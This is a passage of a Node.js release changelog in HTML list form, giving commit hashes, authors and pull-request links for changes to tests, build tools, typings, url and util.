<li>[<a href="https://github.com/nodejs/node/commit/221b77cf41"><code>221b77cf41</code></a>] - <strong>stream</strong>: don't try to read more if reading (Robert Nagy) <a href="https://github.com/nodejs/node/pull/60454" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60454/hovercard">#60454</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/46d12d826f"><code>46d12d826f</code></a>] - <strong>test</strong>: skip strace test with shared openssl (Richard Lau) <a href="https://github.com/nodejs/node/pull/61987" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61987/hovercard">#61987</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/52e6b01a44"><code>52e6b01a44</code></a>] - <strong>test</strong>: mark <code>test-strace-openat-openssl</code> as flaky (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61921" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61921/hovercard">#61921</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4d7468d0e0"><code>4d7468d0e0</code></a>] - <strong>test</strong>: skip --build-sea tests on platforms where SEA is flaky (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/61504" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61504/hovercard">#61504</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f604b7ae67"><code>f604b7ae67</code></a>] - <strong>test</strong>: fix flaky debugger test (Ryuhei Shima) <a href="https://github.com/nodejs/node/pull/58324" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58324/hovercard">#58324</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fc2dc4024b"><code>fc2dc4024b</code></a>] - <strong>test</strong>: ensure removeListener event fires for once() listeners (sangwook) <a href="https://github.com/nodejs/node/pull/60137" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60137/hovercard">#60137</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5fba382816"><code>5fba382816</code></a>] - <strong>test</strong>: delay writing the files only on macOS (Luigi Pinca) <a href="https://github.com/nodejs/node/pull/61532" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61532/hovercard">#61532</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/85cc9e20e4"><code>85cc9e20e4</code></a>] - <strong>test</strong>: asserts that import.meta.resolve invokes sync loader hooks (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/61158" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61158/hovercard">#61158</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/13831685ca"><code>13831685ca</code></a>] - <strong>test</strong>: check util.parseArgs argv parsing with actual process execution (René) <a href="https://github.com/nodejs/node/pull/61089" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61089/hovercard">#61089</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ec4b722cb8"><code>ec4b722cb8</code></a>] - <strong>test</strong>: remove unneccessary repl magic_mode tests (Dario Piotrowicz) <a href="https://github.com/nodejs/node/pull/61053" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61053/hovercard">#61053</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5c811106bc"><code>5c811106bc</code></a>] - <strong>test</strong>: skip sea tests on riscv64 (Stewart X Addison) <a href="https://github.com/nodejs/node/pull/61111" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61111/hovercard">#61111</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4e4a631c07"><code>4e4a631c07</code></a>] - <strong>test</strong>: mark stringbytes-external-max flaky on AIX (Stewart X Addison) <a href="https://github.com/nodejs/node/pull/60995" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60995/hovercard">#60995</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9af0787043"><code>9af0787043</code></a>] - <strong>test</strong>: update test426 fixtures (Rich Trott) <a href="https://github.com/nodejs/node/pull/60982" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60982/hovercard">#60982</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/277f16d247"><code>277f16d247</code></a>] - <strong>test</strong>: skip SEA inspect test if inspector is not available (Livia Medeiros) <a href="https://github.com/nodejs/node/pull/60872" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60872/hovercard">#60872</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7dfa8c96bf"><code>7dfa8c96bf</code></a>] - <strong>test</strong>: use <code>assert.match</code> for non-literal regexp tests (René) <a href="https://github.com/nodejs/node/pull/60879" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60879/hovercard">#60879</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/41e6cd8ce5"><code>41e6cd8ce5</code></a>] - <strong>test</strong>: fix embedtest in debug windows (Vladimir Morozov) <a href="https://github.com/nodejs/node/pull/60806" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60806/hovercard">#60806</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f65147b226"><code>f65147b226</code></a>] - <strong>test</strong>: fix debug test crashes caused by sea tests (Vladimir Morozov) <a href="https://github.com/nodejs/node/pull/60807" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60807/hovercard">#60807</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a93dff9e92"><code>a93dff9e92</code></a>] - <strong>test</strong>: replace deprecated regex test assertions in http trailers test (Aditya Chopra) <a href="https://github.com/nodejs/node/pull/60831" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60831/hovercard">#60831</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f90d5b954f"><code>f90d5b954f</code></a>] - <strong>test</strong>: prefer major GC in cppgc-object teardown (sangwook) <a href="https://github.com/nodejs/node/pull/60672" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60672/hovercard">#60672</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e1645cc78d"><code>e1645cc78d</code></a>] - <strong>test</strong>: skip test that cause timeout on IBM i (SRAVANI GUNDEPALLI) <a href="https://github.com/nodejs/node/pull/60700" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60700/hovercard">#60700</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4f23eba22f"><code>4f23eba22f</code></a>] - <strong>test</strong>: limit the concurrency of WPTRunner for RISC-V (Levi Zim) <a href="https://github.com/nodejs/node/pull/60591" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60591/hovercard">#60591</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c2bef6522b"><code>c2bef6522b</code></a>] - <strong>test</strong>: fix test-strace-openat-openssl for RISC-V (Levi Zim) <a href="https://github.com/nodejs/node/pull/60588" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60588/hovercard">#60588</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4c03a7f864"><code>4c03a7f864</code></a>] - <strong>test</strong>: fix status when compiled without inspector (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/60289" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60289/hovercard">#60289</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2ef146a074"><code>2ef146a074</code></a>] - <strong>test</strong>: apply a delay to <code>watch-mode-kill-signal</code> tests (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60610" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60610/hovercard">#60610</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dc3000c504"><code>dc3000c504</code></a>] - <strong>test</strong>: async iife in repl (Tony Gorez) <a href="https://github.com/nodejs/node/pull/44878" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/44878/hovercard">#44878</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5e06e84db1"><code>5e06e84db1</code></a>] - <strong>test</strong>: parallelize sea tests when there's enough disk space (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60604" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60604/hovercard">#60604</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/940d2752bc"><code>940d2752bc</code></a>] - <strong>test</strong>: only show overridden env in child process failures (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60556" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60556/hovercard">#60556</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/558a5743c6"><code>558a5743c6</code></a>] - <strong>test</strong>: add more logs to test-esm-loader-hooks-inspect-wait (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60466" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60466/hovercard">#60466</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/10fac8de45"><code>10fac8de45</code></a>] - <strong>test</strong>: mark stringbytes-external-exceed-max tests as flaky on AIX (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60565" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60565/hovercard">#60565</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8bc84046be"><code>8bc84046be</code></a>] - <strong>test</strong>: correct conditional secure heap flags test (Shelley Vohr) <a href="https://github.com/nodejs/node/pull/60385" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60385/hovercard">#60385</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ccc805f184"><code>ccc805f184</code></a>] - <strong>test</strong>: fix flaky test-watch-mode-kill-signal-* (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60443" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60443/hovercard">#60443</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1b8274453d"><code>1b8274453d</code></a>] - <strong>test</strong>: capture stack trace in debugger timeout errors (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60457" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60457/hovercard">#60457</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9fcf889279"><code>9fcf889279</code></a>] - <strong>test</strong>: ensure assertions are reachable in <code>test/async-hooks</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/60150" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60150/hovercard">#60150</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7f5230333e"><code>7f5230333e</code></a>] - <strong>test</strong>: increase debugger waitFor timeout on macOS (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/60367" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60367/hovercard">#60367</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0e5ea3b795"><code>0e5ea3b795</code></a>] - <strong>test</strong>: fix small compile warning in test_network_requests_buffer.cc (xiaocainiao633) <a href="https://github.com/nodejs/node/pull/60281" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60281/hovercard">#60281</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/012780c7e8"><code>012780c7e8</code></a>] - <strong>test</strong>: split test-runner-watch-mode-kill-signal (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60298" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60298/hovercard">#60298</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b53d35a8f8"><code>b53d35a8f8</code></a>] - <strong>test</strong>: fix incorrect calculation in test-perf-hooks.js (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60271" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60271/hovercard">#60271</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b8ef464c08"><code>b8ef464c08</code></a>] - <strong>test</strong>: skip sea tests on x64 macOS (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60250" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60250/hovercard">#60250</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a3c4d905da"><code>a3c4d905da</code></a>] - <strong>test</strong>: move sea tests into test/sea (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60250" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60250/hovercard">#60250</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/80bec9fd07"><code>80bec9fd07</code></a>] - <strong>test</strong>: skip tests that cause timeouts on IBM i (SRAVANI GUNDEPALLI) <a href="https://github.com/nodejs/node/pull/60148" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60148/hovercard">#60148</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1d05b44c7c"><code>1d05b44c7c</code></a>] - <strong>test</strong>: deflake test-fs-promises-watch-iterator (Luigi Pinca) <a href="https://github.com/nodejs/node/pull/60060" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60060/hovercard">#60060</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8958096840"><code>8958096840</code></a>] - <strong>test</strong>: deflake <code>test-repl-paste-big-data</code> (Livia Medeiros) <a href="https://github.com/nodejs/node/pull/60975" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60975/hovercard">#60975</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e261a59ca4"><code>e261a59ca4</code></a>] - <strong>test</strong>: add new <code>startNewREPLSever</code> testing utility (Dario Piotrowicz) <a href="https://github.com/nodejs/node/pull/59964" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59964/hovercard">#59964</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d4a2d8aa8a"><code>d4a2d8aa8a</code></a>] - <strong>test</strong>: skip failing tests when compiled without amaro (Yuki Okita) <a href="https://github.com/nodejs/node/pull/60815" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60815/hovercard">#60815</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0e407a88bb"><code>0e407a88bb</code></a>] - <strong>test</strong>: skip failing test on macOS 15.7+ (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/60419" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60419/hovercard">#60419</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a253b7b6dc"><code>a253b7b6dc</code></a>] - <strong>tools</strong>: switch to ARM runners on GHA jobs (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61903" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61903/hovercard">#61903</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8862c41494"><code>8862c41494</code></a>] - <strong>tools</strong>: avoid building twice in coverage jobs (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61899" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61899/hovercard">#61899</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7d11a22802"><code>7d11a22802</code></a>] - <strong>tools</strong>: use ubuntu-slim runner in GHA (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61759" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61759/hovercard">#61759</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d0e7d6cb89"><code>d0e7d6cb89</code></a>] - <strong>tools</strong>: use ubuntu-slim runner in GHA (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61734" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61734/hovercard">#61734</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cf5ddd1811"><code>cf5ddd1811</code></a>] - <strong>tools</strong>: use ubuntu-latest runner in <code>notify-on-push</code> workflow (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61742" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61742/hovercard">#61742</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/18bcf8e260"><code>18bcf8e260</code></a>] - <strong>tools</strong>: use ubuntu-slim runner in meta GitHub Actions (Tierney Cyren) <a href="https://github.com/nodejs/node/pull/61663" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61663/hovercard">#61663</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/db76733b55"><code>db76733b55</code></a>] - <strong>tools</strong>: update gyp-next to 0.21.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61528" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61528/hovercard">#61528</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1dd9d8a3b2"><code>1dd9d8a3b2</code></a>] - <strong>tools</strong>: fix vcbuild lint-js-build (Vladimir Morozov) <a href="https://github.com/nodejs/node/pull/61318" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61318/hovercard">#61318</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ec67f8f9b5"><code>ec67f8f9b5</code></a>] - <strong>tools</strong>: only report commit validation failure on Slack (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61124" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61124/hovercard">#61124</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8e385c8c66"><code>8e385c8c66</code></a>] - <strong>tools</strong>: use sparse-checkout in linter jobs (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61123" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61123/hovercard">#61123</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/aed2e9c8eb"><code>aed2e9c8eb</code></a>] - <strong>tools</strong>: simplify <code>notify-on-push</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61050" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61050/hovercard">#61050</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/32680feefb"><code>32680feefb</code></a>] - <strong>tools</strong>: fix update-nghttp2 signature verification (Richard Lau) <a href="https://github.com/nodejs/node/pull/61035" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61035/hovercard">#61035</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c5f68f41e6"><code>c5f68f41e6</code></a>] - <strong>tools</strong>: improve log output of <code>create-release-proposal</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61028" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61028/hovercard">#61028</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/32e0ae0ec7"><code>32e0ae0ec7</code></a>] - <strong>tools</strong>: fix <code>vcbuild test</code> when path contain spaces (stduhpf) <a href="https://github.com/nodejs/node/pull/56481" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/56481/hovercard">#56481</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9e0858e4a2"><code>9e0858e4a2</code></a>] - <strong>tools</strong>: do not run <code>test-linux</code> workflow for changes on <code>vcbuild.bat</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/60979" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60979/hovercard">#60979</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fd656a79fc"><code>fd656a79fc</code></a>] - <strong>tools</strong>: disable some new cpplint rules before update (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/60901" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60901/hovercard">#60901</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/df4df52e67"><code>df4df52e67</code></a>] - <strong>tools</strong>: don't fetch V8 deps in the source tree (Richard Lau) <a href="https://github.com/nodejs/node/pull/60883" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60883/hovercard">#60883</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e5c2fe8d6d"><code>e5c2fe8d6d</code></a>] - <strong>tools</strong>: add temporal updater (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/60828" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60828/hovercard">#60828</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7f031e097e"><code>7f031e097e</code></a>] - <strong>tools</strong>: dump config.gypi as json (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/60794" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60794/hovercard">#60794</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5e69488a5a"><code>5e69488a5a</code></a>] - <strong>tools</strong>: bump js-yaml from 4.1.0 to 4.1.1 in /tools/lint-md (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/60781" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60781/hovercard">#60781</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5119c50931"><code>5119c50931</code></a>] - <strong>tools</strong>: bump js-yaml from 4.1.0 to 4.1.1 in /tools/doc in the doc group (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/60766" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60766/hovercard">#60766</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a4b073123d"><code>a4b073123d</code></a>] - <strong>tools</strong>: remove unsupported <code>cooldown</code> from Dependabot config (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/60747" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60747/hovercard">#60747</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a3df6b87bb"><code>a3df6b87bb</code></a>] - <strong>tools</strong>: update sccache to v0.12.0 (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/60723" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60723/hovercard">#60723</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2efbd54a4a"><code>2efbd54a4a</code></a>] - <strong>tools</strong>: update gyp-next to 0.21.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60645" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60645/hovercard">#60645</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bb7876e4f9"><code>bb7876e4f9</code></a>] - <strong>tools</strong>: replace invalid expression in dependabot config (Riddhi) <a href="https://github.com/nodejs/node/pull/60649" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60649/hovercard">#60649</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e444e44d6a"><code>e444e44d6a</code></a>] - <strong>tools</strong>: skip unaffected GHA jobs for changes in <code>test/internet</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/60517" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60517/hovercard">#60517</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a6a0ec107c"><code>a6a0ec107c</code></a>] - <strong>tools</strong>: do not use short hashes for deps versioning to avoid collision (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/60407" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60407/hovercard">#60407</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c6e2eed65f"><code>c6e2eed65f</code></a>] - <strong>tools</strong>: fix update-icu script (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/60521" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60521/hovercard">#60521</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/76fb3d123b"><code>76fb3d123b</code></a>] - <strong>tools</strong>: fix linter for semver-major release proposals (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/60481" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60481/hovercard">#60481</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f02889e24e"><code>f02889e24e</code></a>] - <strong>tools</strong>: fix failing release-proposal linter for LTS transitions (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/60465" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60465/hovercard">#60465</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8203df4432"><code>8203df4432</code></a>] - <strong>tools</strong>: remove undici from daily wpt.fyi job (Filip Skokan) <a href="https://github.com/nodejs/node/pull/60444" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60444/hovercard">#60444</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a58242b666"><code>a58242b666</code></a>] - <strong>tools</strong>: add lint rule to ensure assertions are reached (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/60125" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60125/hovercard">#60125</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/58e3ef398f"><code>58e3ef398f</code></a>] - <strong>tools</strong>: update gyp-next to 0.20.5 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60313" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60313/hovercard">#60313</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/996494482a"><code>996494482a</code></a>] - <strong>tools</strong>: optimize wildcard execution in tools/test.py (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60266" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60266/hovercard">#60266</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cf84756d0d"><code>cf84756d0d</code></a>] - <strong>tools</strong>: use cooldown property correctly (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/60134" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60134/hovercard">#60134</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5469cb2651"><code>5469cb2651</code></a>] - <strong>tools</strong>: validate release commit diff as part of <code>lint-release-proposal</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61440" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61440/hovercard">#61440</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1b9eab4a1c"><code>1b9eab4a1c</code></a>] - <strong>tools,doc</strong>: fix format-md files list (Stefan Stojanovic) <a href="https://github.com/nodejs/node/pull/61147" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61147/hovercard">#61147</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b20d9c2ce7"><code>b20d9c2ce7</code></a>] - <strong>tools,doc</strong>: update JavaScript primitive types to match MDN Web Docs (JustApple) <a href="https://github.com/nodejs/node/pull/60581" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60581/hovercard">#60581</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/31760b1beb"><code>31760b1beb</code></a>] - <strong>typings</strong>: add typing for string_decoder (Taejin Kim) <a href="https://github.com/nodejs/node/pull/61368" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61368/hovercard">#61368</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d6b908917c"><code>d6b908917c</code></a>] - <strong>typings</strong>: add missing properties and method in Worker (Woohyun Sung) <a href="https://github.com/nodejs/node/pull/60257" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60257/hovercard">#60257</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1e8b6d5686"><code>1e8b6d5686</code></a>] - <strong>typings</strong>: add missing properties in HTTPParser (Woohyun Sung) <a href="https://github.com/nodejs/node/pull/60257" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60257/hovercard">#60257</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/27ae9b4a26"><code>27ae9b4a26</code></a>] - <strong>typings</strong>: delete undefined property in ConfigBinding (Woohyun Sung) <a href="https://github.com/nodejs/node/pull/60257" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60257/hovercard">#60257</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f43c6434e2"><code>f43c6434e2</code></a>] - <strong>typings</strong>: add buffer internalBinding typing (방진혁) <a href="https://github.com/nodejs/node/pull/60163" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60163/hovercard">#60163</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e7f954f63a"><code>e7f954f63a</code></a>] - <strong>url</strong>: add fast path to getPathFromURL decoder (Gürgün Dayıoğlu) <a href="https://github.com/nodejs/node/pull/60749" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60749/hovercard">#60749</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c149b64473"><code>c149b64473</code></a>] - <strong>url</strong>: remove array.reduce usage (Gürgün Dayıoğlu) <a href="https://github.com/nodejs/node/pull/60748" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60748/hovercard">#60748</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0bd291bff1"><code>0bd291bff1</code></a>] - <strong>util</strong>: optimize toASCIILower function using V8s native toLowerCase (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/61107" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61107/hovercard">#61107</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bbc54b3c96"><code>bbc54b3c96</code></a>] - <strong>util</strong>: limit <code>inspect</code> to only show own properties (Ruben Bridgewater) <a href="https://github.com/nodejs/node/pull/61032" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61032/hovercard">#61032</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/78e5fa23c4"><code>78e5fa23c4</code></a>] - <strong>util</strong>: fix parseArgs skipping positional arg with --eval and --print (azadgupta1) <a href="https://github.com/nodejs/node/pull/60814" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60814/hovercard">#60814</a></li>
